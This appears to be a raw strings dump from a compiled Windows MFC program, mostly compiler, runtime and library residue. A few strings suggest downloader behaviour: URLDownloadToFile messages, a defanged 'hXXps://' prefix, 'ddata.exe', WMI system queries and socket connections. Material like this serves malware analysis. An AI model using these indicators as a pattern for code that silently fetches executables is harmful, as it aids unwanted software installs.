std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator *

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator *

std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator  =

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator  =

std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::operator []

hWarning: implicit LoadString(%u) failed

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Windows

IsWindowsServer,

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator *

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\ostream

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator ==

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xtree

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator *

std::vector<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator []

invalid operator<

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Inc

ExtractIcon.cpp

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\list

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator --

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Vector_const_iterator<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\regex

_std::_Vector_const_iterator<char,class std::allocator<char> >::operator *

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator *

Cstd::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\algorithm

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Inc

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlcomcli.h

helpJavaScript.cpp

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator  =

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator *

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator   

std::vector<wchar_t,class std::allocator<wchar_t> >::operator []

E_OUTOFMEMORY FAIL URLDownloadToFile

INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile

SUCCEEDED URLDownloadToFile

SUCCEEDED default URLDownloadToFile

default URLDownloadToFile

hXXps://

std::vector<class argument,class std::allocator<class argument> >::operator []

std::_Vector_const_iterator<class argument,class std::allocator<class argument> >::operator  =

std::_Vector_const_iterator<class argument,class std::allocator<class argument> >::operator *

std::_Vector_const_iterator<class argument,class std::allocator<class argument> >::operator   

ddata.exe

start.gif

std::vector<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator []

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator *

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator   

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator  =

"sentry.interfaces.Message": {

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator *

%s%s%s

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Inc

SELECT * FROM Win32_OperatingSystem

_hd_%S

0mb_%S

Windows

CACHE_S_FORMATETC_NOTSUPPORTED

CO_E_SERVER_EXEC_FAILURE

MK_E_INTERMEDIATEINTERFACENOTSUPPORTED

OLE_E_ADVISENOTSUPPORTED

REGDB_E_KEYMISSING

VCACHE_E_FIRST...CACHE_E_LAST

CACHE_S_FIRST...CACHE_S_LAST

CLASSFACTORY_E_FIRST...CLASSFACTORY_E_LAST

CLASSFACTORY_S_FIRST...CLASSFACTORY_S_LAST

CLIENTSITE_E_FIRST...CLIENTSITE_E_LAST

CLIENTSITE_S_FIRST...CLIENTSITE_S_LAST

CLIPBRD_E_FIRST...CLIPBRD_E_LAST

CLIPBRD_S_FIRST...CLIPBRD_S_LAST

CONVERT10_E_FIRST...CONVERT10_E_LAST

CONVERT10_S_FIRST...CONVERT10_S_LAST

CO_E_FIRST...CO_E_LAST

CO_S_FIRST...CO_S_LAST

DATA_E_FIRST...DATA_E_LAST

DATA_S_FIRST...DATA_S_LAST

DRAGDROP_E_FIRST...DRAGDROP_E_LAST

DRAGDROP_S_FIRST...DRAGDROP_S_LAST

ENUM_E_FIRST...ENUM_E_LAST

ENUM_S_FIRST...ENUM_S_LAST

INPLACE_E_FIRST...INPLACE_E_LAST

INPLACE_S_FIRST...INPLACE_S_LAST

MARSHAL_E_FIRST...MARSHAL_E_LAST

MARSHAL_S_FIRST...MARSHAL_S_LAST

MK_E_FIRST...MK_E_LAST

MK_S_FIRST...MK_S_LAST

OLEOBJ_E_FIRST...OLEOBJ_E_LAST

OLEOBJ_S_FIRST...OLEOBJ_S_LAST

OLE_E_FIRST...OLE_E_LAST

OLE_S_FIRST...OLE_S_LAST

REGDB_E_FIRST...REGDB_E_LAST

REGDB_S_FIRST...REGDB_S_LAST

VIEW_E_FIRST...VIEW_E_LAST

VIEW_S_FIRST...VIEW_S_LAST

FACILITY_WINDOWS

severity: %s, facility: %s ($lX)

range: %s ($lX)

%s ($lX)

Warning: constructing COleException, scode = %s.

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlalloc.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomcli.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlsimpstr.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\cstringt.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlconv.h

G%s (%s:%d)

%s (%s:%d)

If:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

ERROR: Dialog named '%s' must have the child style.

ERROR: Dialog named '%s' must be invisible.

ERROR: Cannot find dialog template named '%s'.

Can't register window class named %s

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

WinHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

HtmlHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcom.h

commctrl_DragListMsg

ntdll.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

%s%s.dll

If:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Error: failed to execute DDE command '%s'.

Warning: DDE command '%s' ignored because window is disabled.

pMRU: open file (%d) '%s'.

Binding entry %d failed. Status: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.h

GetData failed - HRESULT = 0x%X

m_pColumnInfo[nColumn].ulColumnSize == sizeof(ctype)

CLSID\%s

Interface\%s

mfcm90ud.dll

QueryInterface(%s) failed

QueryInterface(%s) succeeded

Kcomctl32.dll

Kcomdlg32.dll

Kshell32.dll

connecting to socket address '%s'

resolved name for %s!

resolving name for %s

Warning: destroying an open %s with handle %8.8X

Warning: Disconnecting %s handle %8.8X in context %8.8X at destruction.

KHTTP/1.0

WININET.DLL

Warning: could not get volume information '%s'.

Warning: could not parse the path '%s'. Path is too long.

Warning: could not parse the path '%s'.

CFile exception: %hs, File %s, OS error information = %ld.

AppMsg

WinMsg

CmdRouting

%s: hwnd=0xX, msg = 0xX (0xX, 0xX)

%s: hwnd=0xX, msg = %hs (0xX, 0xX)

%s: Advise item='%s', Format='%s', Ack=%d, Defer Update= %d

%s: Execute '%s'.

0xx

Lf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

Warning: OleInitialize returned scode = %s.

mscoree.dll

nf:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atldebugapi.cpp

%S(%d) :

ppCategory && pfnCrtDbgReport

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlmem.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atltime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomtime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcore.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\allocate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atltracemodulemanager.h

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tmakepath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tsplitpath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fsetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\rewind.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcslwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\atof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsinc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsdup.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

W_CrtSetReportHook2

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputws.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

f:\dd\vctools\crt_bld\self_x86\crt\src\clearerr.c

fMode == _CRTDBG_REPORT_MODE || (fMode & ~(_CRTDBG_MODE_FILE | _CRTDBG_MODE_DEBUG | _CRTDBG_MODE_WNDW)) == 0

_CrtSetReportMode

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

nRptType >= 0 && nRptType < _CRT_ERRCNT

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

f:\dd\vctools\crt_bld\self_x86\crt\src\fputwc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetwc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetwc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

KERNEL32.DLL

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), rterrs[tblindx].rterrtxt)

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "\n\n")

strcpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftelli64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

